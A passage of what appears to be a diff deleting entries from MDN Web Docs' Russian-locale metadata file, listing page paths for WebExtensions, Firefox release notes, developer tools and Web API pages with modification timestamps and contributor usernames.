"contributors": [ - "ismorozs" - ] - }, - "Mozilla/Add-ons/WebExtensions/Content_scripts": { - "modified": "2019-09-11T05:54:18.779Z", - "contributors": [ - "ismorozs" - ] - }, - "Mozilla/Add-ons/WebExtensions/Examples": { - "modified": "2020-03-02T12:00:34.704Z", - "contributors": [ - "alexandersolovyov", - "theodysseus", - "Peoplesale" - ] - }, - "Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests": { - "modified": "2020-10-03T17:36:15.272Z", - "contributors": [ - "ealik97779", - "elijah8elijah", - "iljasergijenko", - "sergeiDruzhinin", - "DavidWebb" - ] - }, - "Mozilla/Add-ons/WebExtensions/Match_patterns": { - "modified": "2020-10-15T22:22:49.141Z", - "contributors": [ - "ismorozs" - ] - }, - "Mozilla/Add-ons/WebExtensions/Prerequisites": { - "modified": "2019-03-18T21:06:53.326Z", - "contributors": [ - "gladisihor" - ] - }, - "Mozilla/Add-ons/WebExtensions/What_are_WebExtensions": { - "modified": "2020-05-17T16:42:52.348Z", - "contributors": [ - "kollieartwolf", - "T1mL3arn", - "idma88", - "flammenmensch" - ] - }, - "Mozilla/Add-ons/WebExtensions/Your_first_WebExtension": { - "modified": "2019-09-29T06:45:18.922Z", - "contributors": [ - "ArtemPolanskiy", - "yuriqdev", - "T1mL3arn", - "idma88", - "NAKAMODI", - "siweter" - ] - }, - "Mozilla/Add-ons/WebExtensions/Your_second_WebExtension": { - "modified": "2019-05-17T10:43:54.203Z", - "contributors": [ - "kaifonaft", - "T1mL3arn" - ] - }, - "Mozilla/Add-ons/WebExtensions/manifest.json": { - "modified": "2020-10-15T21:51:04.600Z", - "contributors": [ - "alexandersolovyov", - "anton.pribora", - "wbamberg" - ] - }, - "Mozilla/Add-ons/WebExtensions/manifest.json/background": { - "modified": "2020-10-15T21:55:11.646Z", - "contributors": [ - "alexandersolovyov", - "wbamberg", - "AlinaLedova", - "Vilafox" - ] - }, - "Mozilla/Add-ons/WebExtensions/manifest.json/content_security_policy": { - "modified": "2020-10-15T22:23:16.529Z", - "contributors": [ - "ismorozs" - ] - }, - "Mozilla/Add-ons/WebExtensions/manifest.json/description": { - "modified": "2020-10-15T21:54:57.406Z", - "contributors": [ - "wbamberg", - "T1mL3arn" - ] - }, - "Mozilla/Add-ons/WebExtensions/manifest.json/icons": { - "modified": "2020-10-15T21:51:02.675Z", - "contributors": [ - "alexandersolovyov", - "fscholz", - "NAKAMODI" - ] - }, - "Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version": { - "modified": "2020-10-15T21:51:03.825Z", - "contributors": [ - "alexandersolovyov", - "wbamberg", - "T1mL3arn", - "NAKAMODI" - ] - }, - "Mozilla/Add-ons/WebExtensions/manifest.json/name": { - "modified": "2020-10-15T21:51:04.084Z", - "contributors": [ - "alexandersolovyov", - "wbamberg", - "T1mL3arn", - "NAKAMODI" - ] - }, - "Mozilla/Add-ons/WebExtensions/manifest.json/permissions": { - "modified": "2020-10-15T22:23:27.456Z", - "contributors": [ - "ismorozs" - ] - }, - "Mozilla/Add-ons/WebExtensions/manifest.json/version": { - "modified": "2020-10-15T21:54:57.346Z", - "contributors": [ - "alexandersolovyov", - "wbamberg", - "T1mL3arn" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface": { - "modified": "2019-03-18T21:05:03.573Z", - "contributors": [ - "vladimir-nikotin", - "Shychara" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Browser_action": { - "modified": "2019-03-18T21:05:13.253Z", - "contributors": [ - "vladimir-nikotin", - "Shychara" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items": { - "modified": "2019-03-18T21:01:56.567Z", - "contributors": [ - "shmel3" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages": { - "modified": "2020-03-01T18:43:31.798Z", - "contributors": [ - "alexandersolovyov" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Notifications": { - "modified": "2019-10-03T15:46:20.914Z", - "contributors": [ - "ismorozs" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Omnibox": { - "modified": "2019-10-08T08:32:02.073Z", - "contributors": [ - "ismorozs" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Popups": { - "modified": "2019-03-18T21:05:13.680Z", - "contributors": [ - "Shychara" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Sidebars": { - "modified": "2019-03-18T21:05:02.475Z", - "contributors": [ - "leksiq", - "LumenGNU" - ] - }, - "Mozilla/Add-ons/WebExtensions/Интернационализация": { - "modified": "2020-06-26T11:58:33.746Z", - "contributors": [ - "pm3512" - ] - }, - "Mozilla/Add-ons/WebExtensions/Перевод": { - "modified": "2019-03-29T04:27:38.888Z", - "contributors": [ - "karr1d" - ] - }, - "Mozilla/Add-ons/WebExtensions/модификация_веб_страницы": { - "modified": "2020-08-27T17:26:46.914Z", - "contributors": [ - "sergserg213", - "Vorteri", - "klavatron" - ] - }, - "Mozilla/Developer_guide": { - "modified": "2020-03-02T16:15:06.703Z", - "contributors": [ - "kitlhut0r", - "chrisdavidmills", - "uleming", - "Aleksej", - "Exalm", - "fanatik281089", - "greybax" - ] - }, - "Mozilla/Developer_guide/Inner_and_outer_windows": { - "modified": "2020-08-31T15:44:44.491Z", - "contributors": [ - "b0rique" - ] - }, - "Mozilla/Developer_guide/So_you_just_built_Firefox": { - "modified": "2019-03-23T23:27:17.616Z", - "contributors": [ - "sameoldmadness", - "chrisdavidmills", - "reagafonov" - ] - }, - "Mozilla/Developer_guide/mozilla-central": { - "modified": "2019-03-23T22:22:15.666Z", - "contributors": [ - "chrisdavidmills", - "schufner" - ] - }, - "Mozilla/Developer_guide/Исходный_код": { - "modified": "2019-03-23T23:33:14.609Z", - "contributors": [ - "Dr.Kub", - "chrisdavidmills", - "elityty_777", - "BladeMight", - "andrew.boyarshin" - ] - }, - "Mozilla/Firefox": { - "modified": "2020-01-18T14:11:55.644Z", - "contributors": [ - "leela52452", - "SphinxKnight", - "wbamberg", - "Liubava77", - "schufner", - "BychekRU", - "uleming", - "anmo", - "Lebedev_Ivan", - "Aleksej", - "denpro18", - "Timmi" - ] - }, - "Mozilla/Firefox/Releases": { - "modified": "2019-01-16T17:40:43.375Z", - "contributors": [ - "wbamberg", - "uleming", - "Sheppy" - ] - }, - "Mozilla/Firefox/Releases/1.5": { - "modified": "2019-03-23T22:11:47.636Z", - "contributors": [ - "wbamberg", - "Liubava77", - "Sebastianz" - ] - }, - "Mozilla/Firefox/Releases/28": { - "modified": "2019-03-23T23:18:04.911Z", - "contributors": [ - "wbamberg", - "Ladislas" - ] - }, - "Mozilla/Firefox/Releases/29": { - "modified": "2019-03-23T23:17:43.901Z", - "contributors": [ - "wbamberg", - "Sebastianz", - "Troynov", - "Ladislas" - ] - }, - "Mozilla/Firefox/Releases/31": { - "modified": "2019-03-18T21:09:05.164Z", - "contributors": [ - "fscholz", - "wbamberg", - "torbasow" - ] - }, - "Mozilla/Firefox/Releases/32": { - "modified": "2019-03-23T23:12:50.352Z", - "contributors": [ - "wbamberg", - "warsan", - "krassx", - "Demondroid" - ] - }, - "Mozilla/Firefox/Releases/33": { - "modified": "2019-03-23T23:13:07.256Z", - "contributors": [ - "wbamberg", - "warsan", - "Troynov" - ] - }, - "Mozilla/Firefox/Releases/43": { - "modified": "2019-03-18T21:17:04.674Z", - "contributors": [ - "fgff", - "wbamberg", - "warsan", - "uleming" - ] - }, - "Mozilla/Firefox/Releases/44": { - "modified": "2019-03-23T22:39:30.117Z", - "contributors": [ - "fgff", - "wbamberg", - "warsan", - "uleming" - ] - }, - "Mozilla/Firefox/Releases/45": { - "modified": "2019-03-23T22:41:10.764Z", - "contributors": [ - "fgff", - "wbamberg", - "warsan", - "uleming" - ] - }, - "Mozilla/Firefox/Releases/47": { - "modified": "2019-03-23T22:29:35.138Z", - "contributors": [ - "fgff", - "wbamberg", - "kdex", - "Stalker" - ] - }, - "Mozilla/Firefox/Releases/50": { - "modified": "2019-03-23T22:23:43.944Z", - "contributors": [ - "fgff", - "wbamberg", - "warsan", - "bigaltum", - "lleming" - ] - }, - "Mozilla/Firefox/Releases/51": { - "modified": "2019-01-16T23:57:15.335Z", - "contributors": [ - "wbamberg", - "warsan", - "Liubava77", - "L18-666B" - ] - }, - "Mozilla/Firefox/Releases/53": { - "modified": "2019-03-23T22:12:30.459Z", - "contributors": [ - "fgff", - "wbamberg", - "arturparkhisenko", - "Sweaty_Shura" - ] - }, - "Mozilla/Firefox/Releases/58": { - "modified": "2019-03-23T22:02:13.092Z", - "contributors": [ - "wbamberg", - "maryia" - ] - }, - "Mozilla/Firefox/Releases/59": { - "modified": "2019-03-18T21:15:19.138Z", - "contributors": [ - "fgff", - "wbamberg", - "someone12346" - ] - }, - "Mozilla/Firefox/Releases/60": { - "modified": "2019-03-18T21:34:46.038Z", - "contributors": [ - "fgff", - "wbamberg", - "ikzsl" - ] - }, - "Mozilla/Firefox/Releases/62": { - "modified": "2019-03-18T21:27:47.601Z", - "contributors": [ - "dartraiden" - ] - }, - "Mozilla/Firefox/Releases/63": { - "modified": "2019-03-18T21:24:20.330Z", - "contributors": [ - "dartraiden" - ] - }, - "Mozilla/Firefox/Releases/64": { - "modified": "2019-03-18T21:10:16.339Z", - "contributors": [ - "dartraiden", - "mrhaack" - ] - }, - "Mozilla/Firefox/Releases/65": { - "modified": "2019-03-18T20:38:46.730Z", - "contributors": [ - "dartraiden", - "InoY" - ] - }, - "Mozilla/Firefox/Releases/66": { - "modified": "2019-03-29T04:57:02.159Z", - "contributors": [ - "karr1d" - ] - }, - "Mozilla/Firefox/Releases/68": { - "modified": "2019-07-19T06:10:13.061Z", - "contributors": [ - "art-gur" - ] - }, - "Mozilla/Firefox/Releases/70": { - "modified": "2019-09-02T10:55:41.909Z", - "contributors": [ - "InoY" - ] - }, - "Plugins/План": { - "modified": "2019-08-01T03:21:45.901Z", - "contributors": [ - "art-gur" - ] - }, - "Toolkit_API": { - "modified": "2019-01-16T14:44:25.079Z", - "contributors": [ - "bill.gates" - ] - }, - "Tools": { - "modified": "2020-09-07T21:34:25.677Z", - "contributors": [ - "pal-software", - "andrygreen777", - "SphinxKnight", - "shizm46", - "WhiteApfel", - "Roman-Kosov", - "DygyTal", - "wbamberg", - "sidorRD", - "dzandut", - "Lion17", - "pk.prog", - "BychekRU", - "sampjulk", - "VINTproYKT", - "Palatovskaya", - "savkin.ser40", - "warsand", - "Aleksej", - "teoli", - "bachileha", - "Mingun", - "uleming", - "Newser", - "shalaguine", - "triplezavr", - "dangoor" - ] - }, - "Tools/3D_View": { - "modified": "2020-07-16T22:34:25.638Z", - "contributors": [ - "valsaven", - "wbamberg", - "99peso" - ] - }, - "Tools/Add-ons": { - "modified": "2020-07-16T22:36:23.822Z", - "contributors": [ - "wbamberg" - ] - }, - "Tools/Add-ons/DOM_Inspector": { - "modified": "2020-07-16T22:36:24.834Z", - "contributors": [ - "wbamberg", - "kvantor" - ] - }, - "Tools/Application": { - "modified": "2020-10-26T07:59:58.970Z", - "contributors": [ - "ksam", - "pofiguwse" - ] - }, - "Tools/Debugger": { - "modified": "2020-07-16T22:35:06.304Z", - "contributors": [ - "wbamberg", - "pk.prog", - "L18-666B", - "Tihoem" - ] - }, - "Tools/Debugger/How_to": { - "modified": "2020-07-16T22:35:08.465Z", - "contributors": [ - "wbamberg", - "sidgan" - ] - }, - "Tools/Debugger/How_to/Отладка_кода_внутри_eval": { - "modified": "2020-07-16T22:35:14.575Z", - "contributors": [ - "wbamberg", - "pashutk" - ] - }, - "Tools/Debugger/How_to/Работа_с_минифицированным_кодом": { - "modified": "2020-07-16T22:35:14.187Z", - "contributors": [ - "wbamberg", - "pashutk" - ] - }, - "Tools/Debugger/Keyboard_shortcuts": { - "modified": "2020-10-23T06:26:33.563Z", - "contributors": [ - "ksam" - ] - }, - "Tools/Debugger/Source_map_errors": { - "modified": "2020-07-16T22:35:19.721Z", - "contributors": [ - "ZVanoZ", - "topcf", - "wbamberg", - "ar4ell" - ] - }, - "Tools/Eyedropper": { - "modified": "2020-07-16T22:36:07.850Z", - "contributors": [ - "wbamberg", - "jsx", - "Norville", - "StenHigh" - ] - }, - "Tools/Firefox_OS_1.1_Simulator": { - "modified": "2020-07-16T22:35:58.417Z", - "contributors": [ - "wbamberg", - "Aleksej", - "vm10111957r" - ] - }, - "Tools/Index": { - "modified": "2020-07-16T22:36:06.095Z", - "contributors": [ - "wbamberg", - "Aleksej", - "Mingun" - ] - }, - "Tools/Keyboard_shortcuts": { - "modified": "2020-11-06T04:42:55.218Z", - "contributors": [ - "ksam", - "m0nclous", - "wbamberg", - "pk.prog", - "Aleksej", - "Mingun" - ] - }, - "Tools/Memory": { - "modified": "2020-07-16T22:36:27.437Z", - "contributors": [ - "dellem991", - "s1lver", - "crabovwik", - "wbamberg", - "chrisdavidmills" - ] - }, - "Tools/Memory/Tree_map_view": { - "modified": "2020-07-16T22:36:30.629Z", - "contributors": [ - "wbamberg", - "pk.prog" - ] - }, - "Tools/Network_Monitor": { - "modified": "2020-07-16T22:35:31.859Z", - "contributors": [ - "torbasow", - "FTOH", - "dartraiden", - "wbamberg", - "pk.prog", - "MAJTREJ", - "Doxtyp", - "ssaayylleerr09", - "Aleksej", - "loginov-as" - ] - }, - "Tools/Network_Monitor/Throttling": { - "modified": "2020-07-16T22:35:36.410Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Tools/Page_Inspector": { - "modified": "2020-07-16T22:34:29.558Z", - "contributors": [ - "wbamberg", - "ivanvtimofeev", - "Dimas_Loick", - "Aleksej", - "jsx", - "teoli", - "Tihoem", - "missoonn" - ] - }, - "Tools/Page_Inspector/How_to": { - "modified": "2020-07-16T22:34:32.135Z", - "contributors": [ - "wbamberg", - "Tihoem", - "sidgan" - ] - }, - "Tools/Page_Inspector/How_to/Edit_CSS_shapes": { - "modified": "2020-07-16T22:34:48.305Z", - "contributors": [ - "Shychara" - ] - }, - "Tools/Page_Inspector/How_to/Examine_and_edit_CSS": { - "modified": "2020-07-16T22:34:43.767Z", - "contributors": [ - "Skadelig", - "DmitriyKurto", - "wbamberg", - "bambus" - ] - }, - "Tools/Page_Inspector/How_to/Examine_and_edit_HTML": { - "modified": "2020-07-16T22:34:41.383Z", - "contributors": [ - "wbamberg", - "Aleksej", - "trevorh" - ] - }, - "Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model": { - "modified": "2020-07-16T22:34:34.616Z", - "contributors": [ - "rowest", - "wbamberg", - "equilibrium07" - ] - }, - "Tools/Page_Inspector/How_to/Inspect_and_select_colors": { - "modified": "2020-07-16T22:34:35.283Z", - "contributors": [ - "wbamberg", - "gbuks", - "Sheppy", - "Aleksej" - ] - }, - "Tools/Page_Inspector/How_to/Otkrytie_Inspektora": { - "modified": "2020-07-16T22:34:33.193Z", - "contributors": [ - "wbamberg", - "Aleksej" - ] - }, - "Tools/Page_Inspector/How_to/Vybor_elementa": { - "modified": "2020-07-16T22:34:33.837Z", - "contributors": [ - "wbamberg", - "trevorh", - "Aleksej" - ] - }, - "Tools/Page_Inspector/How_to/Work_with_animations": { - "modified": "2020-07-16T22:34:37.336Z", - "contributors": [ - "wbamberg", - "Tihoem", - "teoli", - "Vatheslav" - ] - }, - "Tools/Page_Inspector/How_to/Исследовать_event_listeners": { - "modified": "2020-07-16T22:34:35.938Z", - "contributors": [ - "wbamberg", - "nzmb" - ] - }, - "Tools/Page_Inspector/How_to/Просмотр_шрифтов": { - "modified": "2020-07-16T22:34:39.270Z", - "contributors": [ - "wbamberg", - "Aleksej" - ] - }, - "Tools/Page_Inspector/UI_Tour": { - "modified": "2020-07-16T22:34:49.708Z", - "contributors": [ - "wbamberg", - "AnkaChurkina", - "Vatheslav", - "savkin.ser40", - "Aleksej" - ] - }, - "Tools/Page_Inspector/Сочетания_клавиш": { - "modified": "2020-07-16T22:34:52.844Z", - "contributors": [ - "wbamberg", - "Aleksej" - ] - }, - "Tools/Profiler": { - "modified": "2020-07-16T22:35:29.176Z", - "contributors": [ - "wbamberg", - "CamelFoe" - ] - }, - "Tools/Release_notes": { - "modified": "2020-07-16T22:35:57.039Z", - "contributors": [ - "wbamberg", - "dimon4ezzz", - "Aleksej", - "uleming" - ] - }, - "Tools/Remote_Debugging": { - "modified": "2020-07-16T22:35:38.183Z", - "contributors": [ - "wbamberg", - "pk.prog", - "kot-ofSoul33", - "Aleksej", - "Bely", - "+79091168571", - "17111970", - "zzzjonzzz1", - "Apofio", - "Denisssov", - "lana25070", - "ss-terva", - "SPython", - "Vovan", - "alekjara1983", - "poopsmalipoops" - ] - }, - "Tools/Remote_Debugging/Debugging_Firefox_Desktop": { - "modified": "2020-07-16T22:35:41.377Z", - "contributors": [ - "wbamberg", - "pk.prog" - ] - }, - "Tools/Remote_Debugging/Firefox_for_Android": { - "modified": "2020-07-16T22:35:39.440Z", - "contributors": [ - "wbamberg", - "DmNsk2016", - "MAJTREJ", - "kalev19999", - "Aleksej", - "ViT09", - "Bara", - "mamoru", - "Timka", - "d.danilin" - ] - }, - "Tools/Responsive_Design_View": { - "modified": "2020-07-16T22:35:22.392Z", - "contributors": [ - "dartraiden", - "wbamberg", - "brattri3", - "Aleksej", - "teoli", - "Tihoem", - "lobanok1973" - ] - }, - "Tools/Settings": { - "modified": "2020-07-16T22:36:35.662Z", - "contributors": [ - "wbamberg", - "ostrovsky7474" - ] - }, - "Tools/Shader_Editor": { - "modified": "2020-07-16T22:35:54.887Z", - "contributors": [ - "wbamberg", - "stephaniehobson", - "Zodo_Whiteman", - "bassam", - "Tihoem" - ] - }, - "Tools/Storage_Inspector": { - "modified": "2020-07-16T22:36:10.465Z", - "contributors": [ - "wbamberg", - "warsan" - ] - }, - "Tools/Style_Editor": { - "modified": "2020-07-16T22:35:01.847Z", - "contributors": [ - "crabovwik", - "wbamberg", - "Tihoem", - "bassam", - "ViT09", - "Burguy", - "Artur" - ] - }, - "Tools/Tools_Toolbox": { - "modified": "2020-07-16T22:35:28.238Z", - "contributors": [ - "wbamberg", - "kavabung", - "helperman", - "Aleksej", - "lesniksanyss", - "martynbm", - "Tema", - "nshahtinsk@yandex.ru", - "uleming" - ] - }, - "Tools/Web_Audio_Editor": { - "modified": "2020-07-16T22:36:08.840Z", - "contributors": [ - "wbamberg", - "arturparkhisenko", - "john-sorah", - "AnonZIK86", - "Aleksej", - "Mishanya" - ] - }, - "Tools/Web_Console": { - "modified": "2020-07-16T22:34:09.594Z", - "contributors": [ - "wbamberg", - "coycmapmap", - "olkr", - "241299", - "ghost28147", - "Tihoem", - "lfybc", - "kirillivan0ff", - "uleming", - "Aleksej", - "bassam", - "Sheppy" - ] - }, - "Tools/Web_Console/Helpers": { - "modified": "2020-07-16T22:34:13.359Z", - "contributors": [ - "wbamberg", - "pronweb", - "Aleksej", - "Igor_V_Belousov" - ] - }, - "Tools/Web_Console/Opening_the_Web_Console": { - "modified": "2020-07-16T22:34:17.559Z", - "contributors": [ - "wbamberg", - "vicamoto" - ] - }, - "Tools/Web_Console/Split_console": { - "modified": "2020-11-05T09:47:01.540Z", - "contributors": [ - "ksam", - "morisbartyno", - "wbamberg", - "Igor7779" - ] - }, - "Tools/Working_with_iframes": { - "modified": "2020-07-16T22:36:12.143Z", - "contributors": [ - "wbamberg", - "Tihoem" - ] - }, - "Tools/about:debugging": { - "modified": "2020-07-16T22:36:33.303Z", - "contributors": [ - "wbamberg", - "ar4ell", - "olegpv", - "L18-666B" - ] - }, - "Tools/Инспектор_доступности": { - "modified": "2020-07-16T22:36:40.152Z", - "contributors": [ - "dartraiden", - "s1lver", - "cogor" - ] - }, - "Tools/Консоль_браузера": { - "modified": "2020-07-16T22:35:42.837Z", - "contributors": [ - "wbamberg", - "Grief", - "vicamoto", - "Aleksej" - ] - }, - "Tools/Линейки": { - "modified": "2020-07-16T22:36:26.593Z", - "contributors": [ - "wbamberg", - "thepocp", - "SynCap" - ] - }, - "Tools/Производительность": { - "modified": "2020-07-16T22:36:13.723Z", - "contributors": [ - "wbamberg", - "s1lver", - "nemcik7", - "matador21385", - "Ellgine" - ] - }, - "Tools/Производительность/Waterfall": { - "modified": "2020-07-16T22:36:18.443Z", - "contributors": [ - "wbamberg", - "karambaJob" - ] - }, - "Using_Firefox_1.5_caching": { - "modified": "2019-03-23T23:34:25.573Z", - "contributors": [ - "wbamberg", - "nakhodkiin", - "torbasow" - ] - }, - "Web": { - "modified": "2019-12-27T12:18:45.702Z", - "contributors": [ - "Skadelig", - "bershanskiy", - "Forshortmrmeth", - "dstereo", - "pk.prog", - "Aleksej", - "sputnik1986", - "Troynov", - "uleming", - "lemeh", - "Norville", - "slaykovsky", - "sanecin", - "Sheppy" - ] - }, - "Web/API": { - "modified": "2019-10-12T14:54:20.443Z", - "contributors": [ - "cosmastar112", - "BychekRU", - "teoli", - "Mingun", - "ethertank", - "Sheppy" - ] - }, - "Web/API/ANGLE_instanced_arrays": { - "modified": "2020-10-15T21:56:02.790Z", - "contributors": [ - "ellizii", - "RandomIt" - ] - }, - "Web/API/AbortController": { - "modified": "2020-10-15T22:09:33.057Z", - "contributors": [ - "SerzN1" - ] - }, - "Web/API/AbortController/AbortController": { - "modified": "2020-10-15T22:16:51.530Z", - "contributors": [ - "VerZsuT" - ] - }, - "Web/API/AbortController/abort": { - "modified": "2020-10-15T22:16:51.914Z", - "contributors": [ - "VerZsuT" - ] - }, - "Web/API/AbortController/signal": { - "modified": "2020-10-15T22:16:51.989Z", - "contributors": [ - "VerZsuT" - ] - }, - "Web/API/AbortSignal": { - "modified": "2020-10-15T22:16:51.893Z", - "contributors": [ - "VerZsuT" - ] - }, - "Web/API/AbortSignal/abort_event": { - "modified": "2019-04-30T13:59:32.916Z", - "contributors": [ - "wbamberg", - "fscholz", - "VerZsuT" - ] - }, - "Web/API/AbortSignal/aborted": { - "modified": "2020-10-15T22:16:51.730Z", - "contributors": [ - "VerZsuT" - ] - }, - "Web/API/AbortSignal/onabort": { - "modified": "2020-10-15T22:16:51.482Z", - "contributors": [ - "VerZsuT" - ] - }, - "Web/API/AbstractWorker": { - "modified": "2020-10-15T22:21:08.647Z", - "contributors": [ - "bennaver" - ] - }, - "Web/API/Ambient_Light_Events": { - "modified": "2019-03-23T22:28:03.691Z", - "contributors": [ - "a-chepugov" - ] - }, - "Web/API/AnalyserNode": { - "modified": "2020-10-15T22:18:41.838Z", - "contributors": [ - "dmitrachkov", - "meskalito89" - ] - }, - "Web/API/Animation": { - "modified": "2020-10-19T06:16:33.554Z", - "contributors": [ - "Mh-Tahir", - "MuradAz", - "schufner" - ] - }, - "Web/API/Animation/cancel": { - "modified": "2019-03-18T21:44:10.972Z", - "contributors": [ - "MuradAz" - ] - }, - "Web/API/AnimationEvent": { - "modified": "2019-03-23T22:27:52.691Z", - "contributors": [ - "fscholz", - "Taimayr" - ] - }, - "Web/API/AnimationEvent/AnimationEvent": { - "modified": "2020-10-15T22:25:07.472Z", - "contributors": [ - "BellaBe" - ] - }, - "Web/API/Attr": { - "modified": "2019-03-18T21:40:03.351Z", - "contributors": [ - "Ruswit", - "dieillusion" - ] - }, - "Web/API/AudioBuffer": { - "modified": "2019-03-23T22:10:06.369Z", - "contributors": [ - "customizer", - "rcanedu" - ] - }, - "Web/API/AudioContext": { - "modified": "2019-03-23T23:03:25.483Z", - "contributors": [ - "nikitaermishin", - "Grinv", - "caucasian" - ] - }, - "Web/API/AudioContext/createMediaElementSource": { - "modified": "2019-03-23T22:32:07.727Z", - "contributors": [ - "Agreggor" - ] - }, - "Web/API/AudioContext/createPanner": { - "modified": "2019-03-23T22:07:18.379Z", - "contributors": [ - "customizer" - ] - }, - "Web/API/AudioContext/currentTime": { - "modified": "2019-03-23T23:09:25.759Z", - "contributors": [ - "fscholz", - "Galamoon" - ] - }, - "Web/API/AudioContext/decodeAudioData": { - "modified": "2019-03-23T22:31:37.197Z", - "contributors": [ - "fleknvrsk" - ] - }, - "Web/API/AudioNode": { - "modified": "2019-03-23T22:22:26.132Z", - "contributors": [ - "cjbars" - ] - }, - "Web/API/AudioNode/channelCount": { - "modified": "2019-03-23T22:22:15.805Z", - "contributors": [ - "cjbars" - ] - }, - "Web/API/AudioNode/context": { - "modified": "2019-03-23T22:22:11.422Z", - "contributors": [ - "cjbars" - ] - }, - "Web/API/AudioParam": { - "modified": "2020-10-15T22:34:42.173Z", - "contributors": [ - "chrisdavidmills" - ] - }, - "Web/API/AudioParam/setValueAtTime": { - "modified": "2020-10-15T22:34:37.605Z", - "contributors": [ - "mazahaka186" - ] - }, - "Web/API/BatteryManager": { - "modified": "2020-10-15T21:52:45.671Z", - "contributors": [ - "bershanskiy", - "nikitaermishin" - ] - }, - "Web/API/Beacon_API": { - "modified": "2019-06-26T15:28:38.657Z", - "contributors": [ - "bakugod" - ] - }, - "Web/API/BeforeInstallPromptEvent": { - "modified": "2020-10-15T22:34:58.748Z", - "contributors": [ - "beltimor" - ] - }, - "Web/API/BeforeInstallPromptEvent/prompt": { - "modified": "2020-10-15T22:34:58.697Z", - "contributors": [ - "beltimor" - ] - }, - "Web/API/BeforeUnloadEvent": { - "modified": "2020-10-15T22:04:47.428Z", - "contributors": [ - "ivanson", - "warsan" - ] - }, - "Web/API/Blob": { - "modified": "2020-10-15T21:46:53.433Z", - "contributors": [ - "grebenyukov", - "YozhEzhi", - "Miroshy", - "B0ER", - "bagau", - "Bargamut", - "hunty", - "eugenezabolotny", - "BitChap", - "lexx182a", - "saga111a", - "MuradAz" - ] - }, - "Web/API/Blob/Blob": { - "modified": "2019-03-23T22:18:54.906Z", - "contributors": [ - "RblSb", - "coshturnina" - ] - }, - "Web/API/Blob/slice": { - "modified": "2020-10-15T22:10:18.280Z", - "contributors": [ - "pottsnoc" - ] - }, - "Web/API/Bluetooth": { - "modified": "2020-10-15T22:18:48.319Z", - "contributors": [ - "sh7dm", - "black_white2018" - ] - }, - "Web/API/BluetoothRemoteGATTServer": { - "modified": "2020-10-15T22:31:47.841Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/Body": { - "modified": "2020-10-15T22:06:24.327Z", - "contributors": [ - "RickBrown" - ] - }, - "Web/API/Body/arrayBuffer": { - "modified": "2020-10-15T22:12:53.458Z", - "contributors": [ - "SerzN1" - ] - }, - "Web/API/Body/formData": { - "modified": "2020-10-15T22:14:02.669Z", - "contributors": [ - "Aparin" - ] - }, - "Web/API/Body/json": { - "modified": "2020-10-15T22:06:25.317Z", - "contributors": [ - "dasha_hshr" - ] - }, - "Web/API/BroadcastChannel": { - "modified": "2020-10-15T22:08:52.446Z", - "contributors": [ - "curdwithraisins" - ] - }, - "Web/API/BroadcastChannel/postMessage": { - "modified": "2020-10-15T22:31:47.108Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/ByteString": { - "modified": "2019-09-13T04:40:19.326Z", - "contributors": [ - "ekirpichyov", - "opereverzeva" - ] - }, - "Web/API/CDATASection": { - "modified": "2020-10-15T22:08:24.955Z", - "contributors": [ - "ivanson" - ] - }, - "Web/API/CSS": { - "modified": "2020-05-08T19:38:47.163Z", - "contributors": [ - "violetta.aslanidi", - "AlexAlex" - ] - }, - "Web/API/CSSConditionRule": { - "modified": "2019-03-18T21:38:21.742Z", - "contributors": [ - "ferym" - ] - }, - "Web/API/CSSRule": { - "modified": "2019-03-23T22:22:15.088Z", - "contributors": [ - "schufner" - ] - }, - "Web/API/CSSStyleDeclaration": { - "modified": "2020-10-15T21:55:57.099Z", - "contributors": [ - "renuo-nego", - "ellizii", - "ildar_ibragimov", - "Sebastianz" - ] - }, - "Web/API/CSSStyleDeclaration/getPropertyValue": { - "modified": "2019-03-23T22:08:39.094Z", - "contributors": [ - "WispProxy" - ] - }, - "Web/API/CSSStyleSheet": { - "modified": "2020-10-15T22:19:39.490Z", - "contributors": [ - "Ostanioni" - ] - }, - "Web/API/CSSValue": { - "modified": "2020-10-15T22:25:52.327Z", - "contributors": [ - "Skadelig" - ] - }, - "Web/API/CSS_Object_Model": { - "modified": "2019-04-10T08:08:07.197Z", - "contributors": [ - "faramozzayw" - ] - }, - "Web/API/CSS_Object_Model/ориентация_экрана": { - "modified": "2020-09-02T10:45:25.377Z", - "contributors": [ - "bogpok" - ] - }, - "Web/API/Cache": { - "modified": "2019-04-16T15:21:13.018Z", - "contributors": [ - "Matroskin94", - "WispProxy", - "curdwithraisins", - "utking" - ] - }, - "Web/API/Cache/add": { - "modified": "2020-10-15T21:49:03.908Z", - "contributors": [ - "ekirpichyov", - "utking" - ] - }, - "Web/API/Cache/addAll": { - "modified": "2019-03-23T22:27:37.013Z", - "contributors": [ - "severn101", - "utking" - ] - }, - "Web/API/Cache/delete": { - "modified": "2019-03-18T21:17:10.073Z", - "contributors": [ - "utking" - ] - }, - "Web/API/Cache/keys": { - "modified": "2019-03-23T22:27:28.725Z", - "contributors": [ - "utking" - ] - }, - "Web/API/Cache/match": { - "modified": "2019-03-18T21:17:09.482Z", - "contributors": [ - "utking" - ] - }, - "Web/API/Cache/matchAll": { - "modified": "2019-03-26T09:53:45.324Z", - "contributors": [ - "RomanKontsevoy", - "utking" - ] - }, - "Web/API/Cache/put": { - "modified": "2020-10-15T22:14:25.067Z", - "contributors": [ - "fdor" - ] - }, - "Web/API/CacheStorage": { - "modified": "2019-03-23T22:25:19.771Z", - "contributors": [ - "zhrivodkin", - "z56", - "curdwithraisins", - "yujianrong@gmail.com" - ] - }, - "Web/API/CacheStorage/match": { - "modified": "2020-10-15T22:11:45.911Z", - "contributors": [ - "timur-gilauri" - ] - }, - "Web/API/CacheStorage/open": { - "modified": "2019-03-18T21:10:18.504Z", - "contributors": [ - "arturbulgac", - "SphinxKnight" - ] - }, - 